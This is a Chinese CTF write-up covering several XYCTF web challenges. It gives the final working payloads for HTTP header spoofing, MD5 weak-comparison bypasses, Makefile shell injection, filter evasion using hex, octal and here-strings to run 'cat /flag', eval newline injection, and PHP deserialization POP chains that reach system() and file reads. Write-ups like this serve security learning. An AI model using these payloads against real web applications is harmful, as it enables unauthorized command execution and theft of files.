这个月在XYCTF中写了部分web题,题中学到在此记录一下
ezhttp
打开就是一个简单的登录页面
f12说藏在一个地方,先想到的就是robots.txt
访问直接给账号密码
username: XYCTF password: @JOILha!wuigqi123$
登录后:
明显考源跳转,修改referer值为yuanshen.com
UA头检测,修改UA头为XYCTF
检测设备ip,添加client-ip: 127.0.0.1
考代理,使用XFF被ban了,换一个使用Via
Via: 该字段指示请求经过的代理服务器信息。它包含一个或多个代理服务器的名称和版本号,以及可选的注释信息。
在cookie中添加XYCTF
ezmd5
上传相同的图片抓包
发现md5一样但是areEqual是false
稍微修改一下图片内容发现areEqual为true但md5又为false
猜测大概是要一个内容不同但是md5相同的图片
资料说是可以在不修改图片内容数据下去修改md5计算部分为相同
这位篇文章就有符合条件的图片
制造 MD5 碰撞 | 米米的博客 (zhangshuqiao.org)
warm up
分析代码,首先一个很基础md5弱比较,数组绕过
val1[]=1&val2[]=2
利用弱比较科学计数法让md5加密后还是以0e开头从而达到0=0的效果
md5=0e215962017
XY不能等于这个数但是md5加密后要相等
乍一看没有办法过去,但是 XYCTF_550102591
加密后是以0e开头的,跟上一部分差不多原理
找一个md5加密后以0e开头的即可,所以总payload为
val1[]=1&val2[]=2&md5=0e215962017&XY=0e215962017&XYCTF=0e215962017
ezmake
Makefile考察,通过编写makefile项目内容去读取flag
直接给SRC赋值shell来实现系统命令执行
$SRC:=$(shell 'ls')
因为没有做任何过滤,shell的解释器也指定为/bin/bash所以直接读取flag即可
$SRC:=$(shell 'cat flag')
当然也可以利用GNU Make 的 $(file)
函数结合文件函数(file function)来读取文件的行数或某一行的内容
$SRC:=$(file < flag)
ez?make
这题明显加了过滤,通过fuzz发现过滤的字符有
f,l,a,g,$,/,?,*
没有了$就不能通过调用正常的调用函数和通配符去读取flag了
对单字母的过滤可以利用linux对大小写敏感的特性通过大写绕过
而执行命令的方法可以通过编码进行绕过我们要直到,bash执行的是二进制数据,所以只要将要执行的命令转换成二进制去执行进行了
这里先利用xxd转换和管道符传递最后用反引号来执行:
`echo 636174202F666c6167 | xxd -r -p`
牢牢记住,逝者为大
对传入的cmd进行检查最后利用eval函数执行,但是eval函数中包含的其他的字符。如果仔细看前面的字符中man前面有一个#这个是用来注释的这会注释掉拼接的cmd而不能执行。
难点一
- 长度要求cmd<13
- 关键词和部分字符过滤
- 对传入的GET变量进行字符检测
难点二
eval()函数是将传入的字符串当成php命令去解析。但包含的字符会于$cmd拼接导致无法执行。
解决方法
cmd检测中我们可以发现两个比较明显的暗示:
- 限制了长度要么就是考察关键词替代,但是这里对短关键词过滤得死死的;要么就是考虑用参数外带的方法,而且在后面的检测中,检测了所以的考GET传入的参数。这也进一步暗示我们要用参数外带而且是GET方式(因为长度限制,能短就短)来与后面的eval构造一句话
- 在变量GTE参数时对flag中的f,l,a过滤但是没有过滤g这就让通配符有机可乘,虽然过滤了基本的?和*但是还有[@-z]这个表示所有大小写字母的方法来代替
知道是要外带来构造一句话,我们最后去解决eval()中的问题
根据php官方对eval()的描述:
可以利用标签重新进入PHP模式的方法对内容进行阻断,但是cmd的检测中过滤了>和?不能使用短标签阶段......
但是我们忘记了最朴实无华的方法换行截断,我们可以通过%0a或者%0d来阻断前面的字符,这样我们换行后,前面的字符就被注释掉而不当成PHP命令去执行。后面也是利用#去注释掉
这样eval的问题就解决了
最后构造外带参数时是要通过反引号去执行传入的参数,受限于长度限制,不能将执行的命令进行打印,这里可以通过将flag的内容复制到另一个文件来解决无显RCE,虽然过滤了cp但是可以利用linux特性\来绕过(小坑:仔细看过滤规则,是过滤|而不是\)
最终payload:
cmd=%0a`$_GET[B]`;%23&B=c\p /[@-z][@-z][@-z]g 1.txt
这里有一个小小的知识点
访问1.txt
ezRCE
对传入的cmd进行检测,最后将cmd直接使用system执行系统命令
在对cmd的检测中:
遍历cmd中的每一个字符,要求每一个字符都为white_list上面的
解决:
观察白名单上的字符只能是字符和斜杠和$符和<符,数字RCE通常的是利用异或,取反,自增,但是这些数字rce都要有如_的字符,这里没有就不用考虑。结合下面直接使用system函数执行的情况来看应该是利用系统能过识别的编码进行RCE
这里有一种办法可以实现:
在shell中还有$符号所代表的一些特殊含义
$0 | 脚本自身的名字 |
$1 | 脚本后所输入的第一串字符 |
$2 | 传递给shell的第二个参数 |
$* | 脚本输入后的所有字符 |
$@ | 脚本输入后的所有字符 |
$_ | 上一个命令的最后一个参数 |
$# | #脚本后输入的字符串个数 |
$$ | 脚本当前运行的进程ID号 |
$! | 最后执行的后台命令的PID |
$? | 显示最后命令退出的状态,0表示错误,其他表示由错误引起的原因 |
在shell环境中有一种特殊的表示字符的序列。在这种表示法中,\ 后面跟着一个八进制数,表示该字符的 ASCII 值。在bash中有一种特殊字符的引用的方式——$''(称为 ANSI-C quoting)它允许你在字符串中使用 ANSI C 转义序列来表示特殊字符或者 ASCII 控制字符。
例如:
$'\n'
表示换行符(ASCII 值为10)$'\t'
表示制表符(ASCII 值为9)$'\x41'
表示十六进制值为 41 的字符(即大写字母 A)$'\154\163'
八进制表示字符序列 "ls"(ASCII 值分别为 154 和 163)
这样就可以利用这个特殊的表示方法来执行命令了
但是当我们将cat /flag转成八进制输入时
$'\143\141\164\40\57\146\154\141\147'
无法执行,这是因为bash在处理cat /flag时把其当成了一个整体而忽略了空格的分割。这里利用
bash中的一种特殊的语法Here String
用于将字符串作为命令的标准输入提供给命令。它的语法形式是 <<<
,后跟一个字符串,例如:
command <<< "string"
这里的 command
可以是任何接受标准输入的命令,而 string
则是要提供给该命令的字符串。Here String 的作用类似于使用管道将字符串传递给命令,但它更简洁,因为不需要使用 echo
或其他命令来产生输入。
意思就可以直接产生传入并传给指定的command中从而使得bash可以执行有参数传入的函数
又结合前面$特殊的含义,利用$0表示当前的脚本——bash
最终得到的payload为:
$0<<<$'\143\141\164\40\57\146\154\141\147'
参考文章:
利用shell脚本变量构造无字母数字命令 - 先知社区
ezpop
<?php
error_reporting(0);
highlight_file(__FILE__);
class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}
class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}
class CCC
{
public $c;
public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}
if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}
观察反序列化的链子很容易连起来
链子:
CCC
::__destruct()—>AAA::__toString()—>BBB::__get($name)
开始接受参数是xy反序列化后直接赋值给$a
我们知道__destruct()析构方法是在对象销毁的时候才会触发,但是这里将反序列化后的对象赋值给$a后又直接抛出nooooooob!的异常使得程序中断。这个时候就会去检测对象的引用是否为0,若为0就直接销毁对象触发析构函数,但是对象事先赋值给了$a,就导致无法回收。
gc回收机制
当一个对象的引用计数为0时就会触发gc回收机制这是为了节省空间的一个机制,当被回收后就能触发对象中的析构函数在php中,只有当对象的引用计数为0时才会触发回收机制,普通字符是无法触发的。
所有当我们的序列化对象中存在数组这样的对象,而数组中的指针又指向NULL就会被认为是无指向即引用计数为0从而触发gc回收机制
a:2:{i:0;O:1:"B":0:{}i:1;i:0;} 对象类型:长度:{类型:长度;类型:长度:类名:值类型:长度;类型:长度;} 数组:长度为2::{int型:长度0;类:长度为1:类名为"B":值为0 int型:值为1:int型;值为0
这里可以参考:
浅析PHP GC垃圾回收机制及常见利用方式 - 先知社区
知道了回收机制构造验证一下:
里面将$a以数组(数组中包括0和$a)的形式去序列化,然后将$的索引值从1改为0导致引用了第一个值(0在php中表示NULL)构成指针指向NULL触发回收机制
成功触发析构函数后我们看如何RCE
看到BBB类中的__get()方法
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
$b是以post传参所有参数的数组,$a是接收一个post传入的参数
call_user_func($function,$args)
- $function为一个函数,或者对象的方法
- $args是传入$function函数的参数
这个函数传入的应该是一个字符串才对,但是这里传入的是数组。这就要求$function接收的参数是一个数组才行,又看到后面还有($c)($d)是传个回调函数里面的$function执行后的返回值的参数
意思是在执行完call_user_func($function,$args)后还要是一个函数,我们要RCE当然想到的是system
但是要让call_user_func($function,$args)返回system()函数,就要让$function是返回system()的,而$functions是要处理数组的,这里就想到了一个函数end()用于返回一个数组中最后一个元素的值,只要,$b中最后一个是system()就可以了
最后的pauload为:
a:2:{i:1;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:9:"cat /flag";s:1:"d";N;}s:1:"a";N;}}i:1;i:0;}
ezSerialize
Leve1
调用$pop对象中的login方法,该方法中对password和token进行了检测,而token是由随机数生成的md5,理论上根本无法得到token的值,但是我password上我们可以通过修改password的引用(类似于指针)去引用token的索引,这样无论token的值怎么变password都能与之相等
得到的序列化数据通过手动修改b的索引
O:4:"Flag":2:{s:5:"token";s:0:"";s:8:"password";R:2;}
R表示引用,用于标识序列化数据中某一个值的引用
这里因为token的引用值为2(因为第一个属性是序列化数据的长度,第二个则是token的值,第三个是password的值)
Leve2
<?php
highlight_file(__FILE__);
class A {
public $mack;
public function __invoke()
{
$this->mack->nonExistentMethod();
}
}
class B {
public $luo;
public function __get($key){
echo "o.O<br>";
$function = $this->luo;
return $function();
}
}
class C {
public $wang1;
public function __call($wang1,$wang2)
{
include 'flag.php';
echo $flag2;
}
}
class D {
public $lao;
public $chen;
public function __toString(){
echo "O.o<br>";
return is_null($this->lao->chen) ? "" : $this->lao->chen;
}
}
class E {
public $name = "xxxxx";
public $num;
public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}
if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}
一个pop链的构造,大致的链子为:
E::__unserialize()——>D::__tostring()——>B::__get()——>A::invoke()——>C::__call()
本以为会顺利的进行,但是在E类中还有一个__wakeup()方法,PHP在7.4版本前__wakeup()方法在反序列化后会优先于__unserialize()方法触发,这样就不能触发__unserialize()方法了。
本以为可以用属性个数不匹配(cve-2016-7124)但这是要在php<7.0.10下才有用,而题目是7.0.33
这似乎不能被触发,但是有意思的点来了:
正常的构造也可以触发B类的__call函数,问题是前面的__tostring是怎么触发的呢?
仔细看我是给$name属性赋值为new D()就可以触发了,尝试只给num赋值
其实是因为在wakeup中:
public $name="XXXXX"
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
在这个判断条件中,当name被重新赋值为new D()时就触发了__tostring
不难发现,其实当this->name在于字符串比较时就已经被当成字符串去使用了,这也就说明为什么只有num=new D()时不触发(因为在这个判断条件中使用的是|| 当前的name不为空时就直接成立了,就不会再去比较后面)
如果当name和num都赋值时会发生什么?
发现两个都执行了,这大概是在name比较时触发了__tostring 然后一直触发下去直到B类中的__call中输出success但是没有返回值(A类中的__invoke()也没有返回值),再回去比较num的值还是触发__torsing显示同样的效果
如果设置了返回值:
设置返回值第二个就不会触发与推测一致。
最终payload:
O:1:"E":2:{s:4:"name";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}s:3:"num";N;}
Leve3
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;
public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
{
$this->Liu = $Liu;
$this->T1ng = $T1ng;
$this->upsw1ng = $upsw1ng;
}
}
class XYCTFNO2
{
public $crypto0;
public $adwa;
public function __construct($crypto0, $adwa)
{
$this->crypto0 = $crypto0;
}
public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";
public function __construct($KickyMu, $fpclose)
{
$this->KickyMu = $KickyMu;
$this->fpclose = $fpclose;
}
public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}
public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}
if (isset($_GET['CTF'])) {
unserialize($_GET['CTF']);
}
大概观察只是普通的构造,主要是在如何读取文件
我们看到在XYCTFNO3中的XY()方法里有
echo new $_POST['X']($_POST['Y']);
new一个可控的参数首先想到的就是原生类
我们可用使用SplFileObject原生类进行文件读取
$a=new SplFileObject('/etc/passwd');
创建了一个
SplFileObject
实例,用于打开/etc/passwd
文件。这个操作会将/etc/passwd
文件以只读模式打开,并返回一个SplFileObject
对象。
再看触发XY方法的条件:
public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
要满足XYCTFNO2中的:
public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
要求满足两个都相等,可以看出$this->adwa是XYCTFNO1类
但是该类中没有crypt0属性,但是我们可以多添加这个属性
所以有:
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
public $crypto0;
private $upsw1ng;
public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
{
$this->Liu = $Liu;
$this->T1ng = $T1ng;
$this->upsw1ng = $upsw1ng;
}
}
class XYCTFNO2
{
public $crypto0;
public $adwa;
public function __construct($crypto0, $adwa)
{
$this->crypto0 = $crypto0;
}
public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";
public function __construct($KickyMu, $fpclose)
{
$this->KickyMu = $KickyMu;
$this->fpclose = $fpclose;
}
public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}
public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}
$a1=new XYCTFNO1('lie','yuroandCMD258');
$a2=new XYCTFNO2('1',$a1);
$a3=new XYCTFNO3($a2,'fasd');
$a2->adwa=$a1;
$a1->crypto0='dev1l';
$a3->N1ght='oSthing';
echo serialize($a3);
得到:
O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";s:1:"1";s:4:"adwa";O:8:"XYCTFNO1":4:{s:3:"Liu";s:3:"lie";s:4:"T1ng";s:13:"yuroandCMD258";s:7:"crypto0";s:5:"dev1l";s:17:" XYCTFNO1 upsw1ng";s:9:"Showmaker";}}s:7:"fpclose";s:4:"fasd";s:5:"N1ght";s:7:"oSthing";}
发现已经触发但是没有回显,这时候可以利用php伪协议进行回显:
X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php
解码即可得到flag
总结
-
Via头是 HTTP 请求和响应中的一个常见标头之一。它用于指示请求或响应经过的中间节点(例如代理服务器或缓存)
-
makefile的基本语法使用参考:
Makefile教程(绝对经典,所有问题看这一篇足够了)-CSDN博客 -
xxd是一个十六进制编辑器,它可以用来查看文件的十六进制表示,并可以将二进制数据转换为十六进制格式。它通常在 Unix 和类 Unix 操作系统(如 Linux)中提供。
查看文件的十六进制表示 xxd filename 生成十六进制转储文件 xxd -b filename 将十六进制转储还原为二进制文件 xxd -r hexdumpfile 将二进制文件转换为 C 风格的数组 xxd -i filename 输出内容以纯粹的十六进制格式显示
xxd -s offset -l length filename
- %0a或%0d阻断eval("#XXXX".$cmd)
- 段标签重新进入PHP模式阻断eval("#XXXX".$cmd)
- 修改引用指向NULL触发gc回收机制
- 字符串比较也能触发__tostring()
- 原生类SplFileObject配合php伪协议读取文件